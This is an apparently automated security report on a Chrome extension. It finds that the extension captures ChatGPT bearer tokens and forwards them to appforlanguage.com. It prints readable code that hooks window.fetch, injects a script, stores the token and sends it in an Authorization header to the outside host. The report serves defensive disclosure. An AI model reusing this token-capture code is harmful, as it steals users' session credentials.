Is Language Reactor transformed: fueled by AI safe?
Language Reactor transformed captures a ChatGPT bearer token and sends it to appforlanguage.com during AI prompt generation.
When used on ChatGPT or OpenAI pages, the extension injects code that watches fetch responses for an access token and saves it in Chrome sync storage. When the extension's AI prompt generation feature runs, it sends that token as an Authorization header to its chat-requirements endpoint before using it with ChatGPT.
Who publishes itFunFluen - no other listings under this identity, 13 shared hostnames
FunFluen - no other listings under this identity, 13 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 13 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
ChatGPT bearer token forwarded to appforlanguage.com
During the AI prompt flow, the extension reads a ChatGPT access token from ChatGPT/OpenAI responses, saves it as chatgptToken, sends it as Authorization: Bearer to testi.appforlanguage.com/chat2api/v1/chat/chat-requirements, reused later.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You use the extension's AI prompt-generation feature.
The code path then relies on a ChatGPT access token from your ChatGPT/OpenAI session.
The extension sends that token to appforlanguage.com as a bearer credential.
The token is placed in the Authorization header before the extension requests chat-requirement tokens.
- ChatGPT bearer tokeneyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.redacted.signature
A session credential for your ChatGPT account. Anyone who gets it can make authenticated ChatGPT requests until it expires or is revoked.
- Saved token keychatgptToken
The token is kept in browser sync storage, so it can persist beyond the page response that originally contained it.
- Authorization headerAuthorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.redacted.signature
The request to the remote service carries the ChatGPT token as a bearer credential.
No response body was recorded in the available evidence; the code consumes JSON challenge tokens when returned.
- Authorization
- Bearer <redacted>
Shipped code path that reads, stores, and forwards the ChatGPT token
Readable equivalent of openai/injected.js
openai/injected.jsconst MessageType = { SAVE_ACCESS_TOKEN: 'SAVE_ACCESS_TOKEN' };function postTokenIfPresent(responseJson) { console.log("Got User's Token Data Obj: ", responseJson); const token = responseJson.accessToken; if (token) { window.postMessage({ type: MessageType.SAVE_ACCESS_TOKEN, token }); }}const originalFetch = window.fetch;window.fetch = function() { return originalFetch.apply(undefined, arguments).then((response) => { const clone = response.clone(); const contentType = clone.headers && clone.headers.get('Content-Type'); if (contentType && contentType.includes('application/json')) { clone.json().then((json) => { if (json && json.accessToken && json && json.expires) { postTokenIfPresent(json); } }); } return response; });};Readable equivalent of openai/contentscript.js
openai/contentscript.jswindow.addEventListener('message', (event) => { if (event.data.type === MessageType.SAVE_ACCESS_TOKEN) { const token = event.data.token; setChatGPTUserAccessTokenInStorage(token); }});window.ready('head', (head) => { const script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.setAttribute('src', chrome.runtime.getURL('openai/injected.js')); script.id = 'lly-openai-injected'; head.append(script);});Readable equivalent of token storage helpers
backgroundscript.jsfunction setChatGPTUserAccessTokenInStorage(token) { return chrome.storage.sync.set({ chatgptToken: token });}function getChatGPTUserAccessTokenFromStorage() { return chrome.storage.sync.get('chatgptToken').then((storage) => { return storage.chatgptToken || null; });}Readable equivalent of constants and forwarding call
backgroundscript.jsconst chatgptRequirementsURL = 'https://testi.appforlanguage.com/chat2api/v1/chat/chat-requirements';const chatgptBackendBaseURL = 'https://chatgpt.com/backend-api';const requirements = await fetch(chatgptRequirementsURL, { headers: new Headers({ Authorization: `Bearer ${this.token}` })}).then((response) => response.json()).catch((error) => { console.log('Caught an error while fetching required tokens: ', error); return null;});await fetchSSE(`${chatgptBackendBaseURL}/conversation`, { method: 'POST', signal, headers: { ...CHATGPT_CONSTANTS.generateBaseHeaders(this.token, this.deviceId), 'Content-Type': 'application/json', Authorization: `Bearer ${this.token}`, 'openai-sentinel-arkose-token': requirements?.arkose_token ?? '', 'openai-sentinel-chat-requirements-token': requirements?.chat_token ?? '', 'openai-sentinel-proof-token': requirements?.proof_token ?? '', 'openai-sentinel-turnstile-token': requirements?.turnstile_token ?? '' }});- testi.appforlanguage.com
Receives the ChatGPT bearer token in an Authorization header when the extension requests chat-requirement tokens.
- chatgpt.com
Receives subsequent backend conversation requests from the extension using the same bearer token.
Where it sends data
Destinations our analysis observed Language Reactor transformed: fueled by AI contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- testi.appforlanguage.com
Language Reactor transformed: fueled by AI sends data to testi.appforlanguage.com. No other extension we have analysed sends data here.